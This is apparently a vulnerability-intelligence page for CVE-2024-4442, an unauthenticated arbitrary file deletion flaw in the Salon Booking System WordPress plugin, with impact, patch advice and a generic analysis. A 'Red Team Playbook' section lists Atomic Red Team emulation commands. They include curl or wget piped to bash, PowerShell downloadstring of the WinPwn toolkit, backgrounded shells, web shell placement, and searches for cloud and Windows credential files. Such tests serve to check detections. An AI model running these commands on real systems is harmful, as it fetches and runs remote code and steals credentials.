CVE-2024-4442
Overview
This vulnerability is a directory traversal flaw resulting in arbitrary file deletion due to improper validation of file paths in the Salon Booking System WordPress plugin. The root cause lies in the plugin's failure to sanitize and restrict the file path parameter when processing deletion requests. The affected component is the file removal functionality handling uploaded files within versions up to and including 9.8 of the plugin.
Vulnerability Description
The Salon booking system plugin for WordPress is vulnerable to arbitrary file deletion in all versions up to, and including, 9.8. This is due to the plugin not properly validating the path of an uploaded file prior to deleting it. This makes it possible for unauthenticated attackers to delete arbitrary files, including the wp-config.php file, which can make site takeover and remote code execution possible. This was partially patched in 9.9, and sufficiently patched in 10.0. CVE-2024-37231 appears to be a duplicate of this issue.
Impact
An unauthenticated attacker can exploit this vulnerability to delete arbitrary files on the hosting server, including critical WordPress configuration files such as wp-config.php. This can lead to site takeover, denial of service, and potential remote code execution. The attack requires only network access to the vulnerable WordPress installation with no authentication (CVSS vector AV:N/AC:L/PR:N/UI:N). The ability to delete sensitive files compromises site integrity and availability, posing a severe operational impact to affected organizations.
Solution
Users of the Salon Booking System WordPress plugin should upgrade to version 10.0 or later, where the vulnerability is fully patched. Version 9.9 provides a partial fix but is not recommended as a final solution. Detailed patch information and upgrade instructions are available at the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/eaafeadd-f44c-49b1-b900-ef40800c629e) and the WordPress plugin repository changesets. No workarounds are documented; prompt updating is advised.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Salon booking system plugin for WordPress stems from inadequate validation of file paths during the deletion process. This flaw allows an attacker to exploit the system by sending crafted requests that manipulate the file deletion functionality. Specifically, the plugin fails to ensure that the file being targeted for deletion is indeed intended for removal, which opens the door to arbitrary file deletion. As a result, an attacker could potentially delete critical files from the server, including configuration files like wp-config.php. This file contains sensitive information such as database credentials and security keys, making its deletion a severe threat to the integrity and availability of the entire WordPress installation.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting unauthenticated users. An attacker could use a simple script to send requests to the vulnerable plugin, specifying the path of the file they wish to delete. Since the vulnerability does not require authentication, it significantly lowers the barrier to entry for potential attackers. In a typical scenario, an attacker could delete the wp-config.php file, leading to a complete loss of access to the WordPress site and potentially allowing the attacker to take control of the server. Furthermore, if the attacker is able to upload malicious files or scripts prior to executing the deletion, they could leverage this access for remote code execution, compounding the risk associated with this vulnerability.
The real-world impact of this vulnerability is substantial, particularly for businesses relying on the Salon booking system plugin for their operations. The ability to delete critical files can result in significant downtime, loss of data, and a compromised website, which can damage a company's reputation and erode customer trust. In addition to the immediate operational disruptions, the financial implications can be severe, with potential costs associated with recovery efforts, legal liabilities, and loss of revenue during downtime. The high CVSS score of 9.1 underscores the critical nature of this vulnerability, indicating that organizations should prioritize its remediation to avoid catastrophic outcomes.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments should be conducted to identify and address weaknesses in their WordPress installations and plugins. Employing a web application firewall (WAF) can help filter out malicious requests aimed at exploiting this vulnerability. Additionally, organizations should ensure that all plugins, including the Salon booking system, are kept up to date with the latest security patches. Implementing strict file permissions and access controls can also limit the potential impact of an attacker gaining access to the file deletion functionality.
In conclusion, the vulnerability present in the Salon booking system plugin poses a significant threat to WordPress installations, particularly due to its potential for arbitrary file deletion. The ease of exploitation, combined with the critical nature of the files that could be targeted, makes this a pressing concern for organizations utilizing this plugin. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems against such vulnerabilities and enhance their overall cybersecurity posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Salonbookingsystem | Salon Booking System | All |
cpe:2.3:a:salonbookingsystem:salon_booking_system:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-4442 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/eaafeadd-f44c-49b1-b900-ef40800c629e?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3088196/salon-booking-system#file14 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/salon-booking-system/tags/9.8/src/SLN/Action/Ajax/RemoveUploadedFile.php#L5 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3098413/salon-booking-system/trunk/src/SLN/Action/Ajax/RemoveUploadedFile.php |